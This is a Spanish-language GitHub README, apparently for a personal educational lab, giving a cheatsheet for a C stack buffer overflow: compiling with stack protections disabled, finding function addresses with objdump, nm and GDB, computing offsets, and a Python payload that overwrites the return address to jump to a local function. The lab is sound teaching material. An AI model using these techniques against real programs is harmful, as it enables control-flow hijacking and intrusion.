Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🧾 C Stack Overflow Mini‑Lab – Cheatsheet

Este documento es un resumen práctico para mini‑labs de buffer overflow en C (stack), orientado a inspección, aprendizaje y debugging con GDB. Me base primero en exploiting buffer overflows is too simple. (do it with me)

⚠️ Uso educativo. No para explotación real. Ya que para que funcione hay que desactivar muchos mecanismos que son por defecto.


1️⃣ Compilación

🔓 Compilación vulnerable

gcc overflow.c -o overflow \
  -fno-stack-protector \
  -z execstack \
  -no-pie \
  -g \
  -O0

📌 Flags explicadas

Flag Función Por qué importa
-fno-stack-protector Desactiva stack canaries Evita aborts automáticos
-z execstack Stack ejecutable Histórico / educativo
-no-pie Desactiva PIE Direcciones fijas
-g Símbolos de debug GDB usable
-O0 Sin optimizaciones Stack predecible

🔐 Compilación realista (comparación)

gcc overflow.c -o overflow_safe -g

Activa por defecto:

  • PIE: esto genera direcciones random a las funciones.
  • Stack canaries
  • ASLR‑friendly
  • Optimizaciones

2️⃣ Obtener direcciones de funciones

🔍 objdump

objdump -d overflow | grep debug_function

Salida típica:

0000000000401176 <debug_function>:

🔍 nm

nm overflow | grep debug_function

Salida:

0000000000401176 T debug_function
Letra Significado
T Función en .text
t Función local
U Símbolo indefinido

🔍 Desde GDB

info functions
p debug_function

3️⃣ GDB – Comandos esenciales

▶️ Ejecución

run
run < input.txt

🛑 Breakpoints

b main
b debug_function
b overflow.c:14
info breakpoints
delete 1

Run code

run

🧭 Navegación

next      # ejecuta línea
step      # entra en función
finish    # sale de la función
continue  # continúa ejecución

Debugger en accion

Aca podemos ver la ejecucion se agrego un brackpoint en la linea 14 (con el debbuger corriendo se agrega: break bad_code y luego se ejecuta con run) en el screenshot se ve el dump del stack x/32gx $rsp se explica mas adelante. screen


🧠 Registros (x86‑64)

info registers
p $rsp
p $rbp
p $rip
Registro Uso
$rsp Top del stack
$rbp Base del frame
$rip Instrucción actual

📦 Inspección del stack (CRÍTICO)

x/32gx $rsp

Formato:

  • x → examine
  • 32 → cantidad
  • g → 8 bytes
  • x → hexadecimal

🔬 Ver bytes crudos

x/64xb small_buffer

Ideal para ver:

  • padding
  • overflow real
  • bytes sobrescritos

📏 Cálculo de offsets

p &small_buffer
p $rbp
offset = rbp - &small_buffer

🧵 Stack trace

bt
bt full

🧷 Frame actual

info frame

Muestra:

  • saved RIP
  • saved RBP
  • variables locales screen

4️⃣ Payloads de prueba

📌 Python (little endian)

python3 -c 'import sys; sys.stdout.buffer.write(
    b"A"*56 + (0x401176).to_bytes(8,"little")
)' | ./overflow

📌 Ver payload

python3 -c 'print(b"A"*56)' | hexdump -C

5️⃣ Flujo mental completo

  1. Compilar sin protecciones
  2. Obtener dirección de la función (objdump / nm)
  3. Ejecutar en GDB
  4. Inspeccionar $rsp
  5. Identificar return address
  6. Calcular padding (restar direcciones)
  7. Construir payload
  8. Verificar memoria
  9. Confirmar salto

About

Experimento para testear buffer overflow

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages